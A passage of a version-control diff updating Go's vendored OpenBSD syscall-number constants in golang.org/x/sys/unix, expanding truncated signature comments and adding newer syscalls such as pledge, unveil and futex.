-- SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, \
-- SYS_UTIMES = 76 // { int sys_utimes(const char *path, \
-- SYS_FUTIMES = 77 // { int sys_futimes(int fd, \
-- SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, \
-+ SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, int behav); }
-+ SYS_UTIMES = 76 // { int sys_utimes(const char *path, const struct timeval *tptr); }
-+ SYS_FUTIMES = 77 // { int sys_futimes(int fd, const struct timeval *tptr); }
-+ SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, const gid_t *gidset); }
- SYS_GETPGRP = 81 // { int sys_getpgrp(void); }
-- SYS_SETPGID = 82 // { int sys_setpgid(pid_t pid, int pgid); }
-- SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, \
-- SYS_FUTIMENS = 85 // { int sys_futimens(int fd, \
-- SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, \
-- SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, \
-+ SYS_SETPGID = 82 // { int sys_setpgid(pid_t pid, pid_t pgid); }
-+ SYS_FUTEX = 83 // { int sys_futex(uint32_t *f, int op, int val, const struct timespec *timeout, uint32_t *g); }
-+ SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, const struct timespec *times, int flag); }
-+ SYS_FUTIMENS = 85 // { int sys_futimens(int fd, const struct timespec *times); }
-+ SYS_KBIND = 86 // { int sys_kbind(const struct __kbind *param, size_t psize, int64_t proc_cookie); }
-+ SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, struct timespec *tp); }
- SYS_DUP2 = 90 // { int sys_dup2(int from, int to); }
-- SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, \
-+ SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
- SYS_FCNTL = 92 // { int sys_fcntl(int fd, int cmd, ... void *arg); }
-- SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, \
-+ SYS_ACCEPT4 = 93 // { int sys_accept4(int s, struct sockaddr *name, socklen_t *anamelen, int flags); }
-+ SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, clockid_t clock_id, const struct timespec *tp, void *lock, const int *abort); }
- SYS_FSYNC = 95 // { int sys_fsync(int fd); }
- SYS_SETPRIORITY = 96 // { int sys_setpriority(int which, id_t who, int prio); }
- SYS_SOCKET = 97 // { int sys_socket(int domain, int type, int protocol); }
-- SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, \
-+ SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, socklen_t namelen); }
- SYS_GETDENTS = 99 // { int sys_getdents(int fd, void *buf, size_t buflen); }
- SYS_GETPRIORITY = 100 // { int sys_getpriority(int which, id_t who); }
-+ SYS_PIPE2 = 101 // { int sys_pipe2(int *fdp, int flags); }
-+ SYS_DUP3 = 102 // { int sys_dup3(int from, int to, int flags); }
- SYS_SIGRETURN = 103 // { int sys_sigreturn(struct sigcontext *sigcntxp); }
-- SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, \
-- SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, \
-+ SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, socklen_t namelen); }
-+ SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, const void *val, socklen_t valsize); }
- SYS_LISTEN = 106 // { int sys_listen(int s, int backlog); }
-- SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, \
-- SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, \
-+ SYS_CHFLAGSAT = 107 // { int sys_chflagsat(int fd, const char *path, u_int flags, int atflags); }
-+ SYS_PLEDGE = 108 // { int sys_pledge(const char *promises, const char *execpromises); }
-+ SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *mask); }
-+ SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *mask); }
- SYS_SIGSUSPEND = 111 // { int sys_sigsuspend(int mask); }
-- SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { ssize_t sys_readv(int fd, \
-- SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, \
-+ SYS_SENDSYSLOG = 112 // { int sys_sendsyslog(const char *buf, size_t nbyte, int flags); }
-+ SYS_UNVEIL = 114 // { int sys_unveil(const char *path, const char *permissions); }
-+ SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, void *val, socklen_t *avalsize); }
-+ SYS_THRKILL = 119 // { int sys_thrkill(pid_t tid, int signum, void *tcb); }
-+ SYS_READV = 120 // { ssize_t sys_readv(int fd, const struct iovec *iovp, int iovcnt); }
-+ SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, const struct iovec *iovp, int iovcnt); }
-+ SYS_KILL = 122 // { int sys_kill(int pid, int signum); }
- SYS_FCHOWN = 123 // { int sys_fchown(int fd, uid_t uid, gid_t gid); }
- SYS_FCHMOD = 124 // { int sys_fchmod(int fd, mode_t mode); }
- SYS_SETREUID = 126 // { int sys_setreuid(uid_t ruid, uid_t euid); }
-@@ -119,89 +129,90 @@ const (
- SYS_RENAME = 128 // { int sys_rename(const char *from, const char *to); }
- SYS_FLOCK = 131 // { int sys_flock(int fd, int how); }
- SYS_MKFIFO = 132 // { int sys_mkfifo(const char *path, mode_t mode); }
-- SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, \
-+ SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, size_t len, int flags, const struct sockaddr *to, socklen_t tolen); }
- SYS_SHUTDOWN = 134 // { int sys_shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, \
-+ SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, int protocol, int *rsv); }
- SYS_MKDIR = 136 // { int sys_mkdir(const char *path, mode_t mode); }
- SYS_RMDIR = 137 // { int sys_rmdir(const char *path); }
-- SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, \
-+ SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, struct timeval *olddelta); }
-+ SYS_GETLOGIN_R = 141 // { int sys_getlogin_r(char *namebuf, u_int namelen); }
- SYS_SETSID = 147 // { int sys_setsid(void); }
-- SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, \
-+ SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, int uid, char *arg); }
- SYS_NFSSVC = 155 // { int sys_nfssvc(int flag, void *argp); }
- SYS_GETFH = 161 // { int sys_getfh(const char *fname, fhandle_t *fhp); }
- SYS_SYSARCH = 165 // { int sys_sysarch(int op, void *parms); }
-- SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, \
-- SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, \
-+ SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, size_t nbyte, int pad, off_t offset); }
-+ SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, size_t nbyte, int pad, off_t offset); }
- SYS_SETGID = 181 // { int sys_setgid(gid_t gid); }
- SYS_SETEGID = 182 // { int sys_setegid(gid_t egid); }
- SYS_SETEUID = 183 // { int sys_seteuid(uid_t euid); }
- SYS_PATHCONF = 191 // { long sys_pathconf(const char *path, int name); }
- SYS_FPATHCONF = 192 // { long sys_fpathconf(int fd, int name); }
- SYS_SWAPCTL = 193 // { int sys_swapctl(int cmd, const void *arg, int misc); }
-- SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, \
-- SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, \
-- SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, \
-- SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, \
-- SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, \
-+ SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, struct rlimit *rlp); }
-+ SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, const struct rlimit *rlp); }
-+ SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
-+ SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, int whence); }
-+ SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, off_t length); }
- SYS_FTRUNCATE = 201 // { int sys_ftruncate(int fd, int pad, off_t length); }
-- SYS___SYSCTL = 202 // { int sys___sysctl(const int *name, u_int namelen, \
-+ SYS_SYSCTL = 202 // { int sys_sysctl(const int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); }
- SYS_MLOCK = 203 // { int sys_mlock(const void *addr, size_t len); }
- SYS_MUNLOCK = 204 // { int sys_munlock(const void *addr, size_t len); }
- SYS_GETPGID = 207 // { pid_t sys_getpgid(pid_t pid); }
-- SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, \
-+ SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, size_t len); }
- SYS_SEMGET = 221 // { int sys_semget(key_t key, int nsems, int semflg); }
- SYS_MSGGET = 225 // { int sys_msgget(key_t key, int msgflg); }
-- SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, \
-- SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, \
-- SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, \
-+ SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, int shmflg); }
- SYS_SHMDT = 230 // { int sys_shmdt(const void *shmaddr); }
-- SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, \
-- SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, \
-+ SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, int inherit); }
-+ SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, u_int nfds, int timeout); }
- SYS_ISSETUGID = 253 // { int sys_issetugid(void); }
- SYS_LCHOWN = 254 // { int sys_lchown(const char *path, uid_t uid, gid_t gid); }
- SYS_GETSID = 255 // { pid_t sys_getsid(pid_t pid); }
- SYS_MSYNC = 256 // { int sys_msync(void *addr, size_t len, int flags); }
- SYS_PIPE = 263 // { int sys_pipe(int *fdp); }
- SYS_FHOPEN = 264 // { int sys_fhopen(const fhandle_t *fhp, int flags); }
-- SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, \
-- SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, \
-+ SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
-+ SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
- SYS_KQUEUE = 269 // { int sys_kqueue(void); }
- SYS_MLOCKALL = 271 // { int sys_mlockall(int flags); }
- SYS_MUNLOCKALL = 272 // { int sys_munlockall(void); }
-- SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, \
-- SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, \
-- SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, \
-+ SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
- SYS_CLOSEFROM = 287 // { int sys_closefrom(int fd); }
-- SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, \
-+ SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, struct sigaltstack *oss); }
- SYS_SHMGET = 289 // { int sys_shmget(key_t key, size_t size, int shmflg); }
-- SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, \
-- SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, \
-- SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, \
-- SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, \
-- SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, \
-+ SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, struct stat *sb); }
-+ SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, struct msqid_ds *buf); }
- SYS_SCHED_YIELD = 298 // { int sys_sched_yield(void); }
- SYS_GETTHRID = 299 // { pid_t sys_getthrid(void); }
-- SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, \
-+ SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, int n); }
- SYS___THREXIT = 302 // { void sys___threxit(pid_t *notdead); }
-- SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, \
-+ SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, siginfo_t *info, const struct timespec *timeout); }
- SYS___GETCWD = 304 // { int sys___getcwd(char *buf, size_t len); }
-- SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, \
-+ SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, int64_t *oldfreq); }
- SYS_SETRTABLE = 310 // { int sys_setrtable(int rtableid); }
- SYS_GETRTABLE = 311 // { int sys_getrtable(void); }
-- SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, \
-- SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, \
-- SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, \
-- SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, \
-- SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, \
-- SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, \
-- SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, \
-- SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, \
-- SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, \
-- SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, \
-- SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, \
-- SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, \
-+ SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, const char *path2, int flag); }
-+ SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, mode_t mode); }
-+ SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, ... mode_t mode); }
-+ SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, char *buf, size_t count); }
-+ SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, int tofd, const char *to); }
-+ SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, const char *link); }
-+ SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, int flag); }
- SYS___SET_TCB = 329 // { void sys___set_tcb(void *tcb); }
- SYS___GET_TCB = 330 // { void *sys___get_tcb(void); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_amd64.go
-index bd28146d..f0dec6f0 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_amd64.go
-@@ -1,5 +1,5 @@
--// mksysnum_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,openbsd
-
-@@ -9,109 +9,119 @@ const (
- SYS_EXIT = 1 // { void sys_exit(int rval); }
- SYS_FORK = 2 // { int sys_fork(void); }
- SYS_READ = 3 // { ssize_t sys_read(int fd, void *buf, size_t nbyte); }
-- SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int sys_open(const char *path, \
-+ SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int sys_open(const char *path, int flags, ... mode_t mode); }
- SYS_CLOSE = 6 // { int sys_close(int fd); }
-- SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, \
-+ SYS_GETENTROPY = 7 // { int sys_getentropy(void *buf, size_t nbyte); }
-+ SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, size_t psize); }
- SYS_LINK = 9 // { int sys_link(const char *path, const char *link); }
- SYS_UNLINK = 10 // { int sys_unlink(const char *path); }
-- SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, \
-+ SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, int options, struct rusage *rusage); }
- SYS_CHDIR = 12 // { int sys_chdir(const char *path); }
- SYS_FCHDIR = 13 // { int sys_fchdir(int fd); }
-- SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, \
-+ SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, dev_t dev); }
- SYS_CHMOD = 15 // { int sys_chmod(const char *path, mode_t mode); }
-- SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, \
-+ SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, gid_t gid); }
- SYS_OBREAK = 17 // { int sys_obreak(char *nsize); } break
- SYS_GETDTABLECOUNT = 18 // { int sys_getdtablecount(void); }
-- SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, \
-+ SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, struct rusage *rusage); }
- SYS_GETPID = 20 // { pid_t sys_getpid(void); }
-- SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, \
-+ SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, int flags, void *data); }
- SYS_UNMOUNT = 22 // { int sys_unmount(const char *path, int flags); }
- SYS_SETUID = 23 // { int sys_setuid(uid_t uid); }
- SYS_GETUID = 24 // { uid_t sys_getuid(void); }
- SYS_GETEUID = 25 // { uid_t sys_geteuid(void); }
-- SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, \
-- SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, \
-- SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, \
-- SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, \
-- SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, \
-- SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, \
-- SYS_ACCESS = 33 // { int sys_access(const char *path, int flags); }
-+ SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, const struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, socklen_t *anamelen); }
-+ SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, socklen_t *alen); }
-+ SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, socklen_t *alen); }
-+ SYS_ACCESS = 33 // { int sys_access(const char *path, int amode); }
- SYS_CHFLAGS = 34 // { int sys_chflags(const char *path, u_int flags); }
- SYS_FCHFLAGS = 35 // { int sys_fchflags(int fd, u_int flags); }
- SYS_SYNC = 36 // { void sys_sync(void); }
-- SYS_KILL = 37 // { int sys_kill(int pid, int signum); }
- SYS_STAT = 38 // { int sys_stat(const char *path, struct stat *ub); }
- SYS_GETPPID = 39 // { pid_t sys_getppid(void); }
- SYS_LSTAT = 40 // { int sys_lstat(const char *path, struct stat *ub); }
- SYS_DUP = 41 // { int sys_dup(int fd); }
-- SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, \
-+ SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, struct stat *buf, int flag); }
- SYS_GETEGID = 43 // { gid_t sys_getegid(void); }
-- SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, \
-- SYS_SIGACTION = 46 // { int sys_sigaction(int signum, \
-+ SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, u_long offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, int facs, pid_t pid); }
-+ SYS_SIGACTION = 46 // { int sys_sigaction(int signum, const struct sigaction *nsa, struct sigaction *osa); }
- SYS_GETGID = 47 // { gid_t sys_getgid(void); }
- SYS_SIGPROCMASK = 48 // { int sys_sigprocmask(int how, sigset_t mask); }
-- SYS_GETLOGIN = 49 // { int sys_getlogin(char *namebuf, u_int namelen); }
- SYS_SETLOGIN = 50 // { int sys_setlogin(const char *namebuf); }
- SYS_ACCT = 51 // { int sys_acct(const char *path); }
- SYS_SIGPENDING = 52 // { int sys_sigpending(void); }
- SYS_FSTAT = 53 // { int sys_fstat(int fd, struct stat *sb); }
-- SYS_IOCTL = 54 // { int sys_ioctl(int fd, \
-+ SYS_IOCTL = 54 // { int sys_ioctl(int fd, u_long com, ... void *data); }
- SYS_REBOOT = 55 // { int sys_reboot(int opt); }
- SYS_REVOKE = 56 // { int sys_revoke(const char *path); }
-- SYS_SYMLINK = 57 // { int sys_symlink(const char *path, \
-- SYS_READLINK = 58 // { int sys_readlink(const char *path, char *buf, \
-- SYS_EXECVE = 59 // { int sys_execve(const char *path, \
-+ SYS_SYMLINK = 57 // { int sys_symlink(const char *path, const char *link); }
-+ SYS_READLINK = 58 // { ssize_t sys_readlink(const char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int sys_execve(const char *path, char * const *argp, char * const *envp); }
- SYS_UMASK = 60 // { mode_t sys_umask(mode_t newmask); }
- SYS_CHROOT = 61 // { int sys_chroot(const char *path); }
-- SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, \
-- SYS_STATFS = 63 // { int sys_statfs(const char *path, \
-+ SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, int flags); }
-+ SYS_STATFS = 63 // { int sys_statfs(const char *path, struct statfs *buf); }
- SYS_FSTATFS = 64 // { int sys_fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, \
-+ SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, struct statfs *buf); }
- SYS_VFORK = 66 // { int sys_vfork(void); }
-- SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, \
-- SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, \
-- SYS_SETITIMER = 69 // { int sys_setitimer(int which, \
-- SYS_GETITIMER = 70 // { int sys_getitimer(int which, \
-- SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, \
-- SYS_KEVENT = 72 // { int sys_kevent(int fd, \
-+ SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, const struct timezone *tzp); }
-+ SYS_SETITIMER = 69 // { int sys_setitimer(int which, const struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_GETITIMER = 70 // { int sys_getitimer(int which, struct itimerval *itv); }
-+ SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_KEVENT = 72 // { int sys_kevent(int fd, const struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
- SYS_MUNMAP = 73 // { int sys_munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, \
-- SYS_UTIMES = 76 // { int sys_utimes(const char *path, \
-- SYS_FUTIMES = 77 // { int sys_futimes(int fd, \
-- SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, \
-+ SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, int behav); }
-+ SYS_UTIMES = 76 // { int sys_utimes(const char *path, const struct timeval *tptr); }
-+ SYS_FUTIMES = 77 // { int sys_futimes(int fd, const struct timeval *tptr); }
-+ SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, const gid_t *gidset); }
- SYS_GETPGRP = 81 // { int sys_getpgrp(void); }
-- SYS_SETPGID = 82 // { int sys_setpgid(pid_t pid, int pgid); }
-- SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, \
-- SYS_FUTIMENS = 85 // { int sys_futimens(int fd, \
-- SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, \
-- SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, \
-+ SYS_SETPGID = 82 // { int sys_setpgid(pid_t pid, pid_t pgid); }
-+ SYS_FUTEX = 83 // { int sys_futex(uint32_t *f, int op, int val, const struct timespec *timeout, uint32_t *g); }
-+ SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, const struct timespec *times, int flag); }
-+ SYS_FUTIMENS = 85 // { int sys_futimens(int fd, const struct timespec *times); }
-+ SYS_KBIND = 86 // { int sys_kbind(const struct __kbind *param, size_t psize, int64_t proc_cookie); }
-+ SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, struct timespec *tp); }
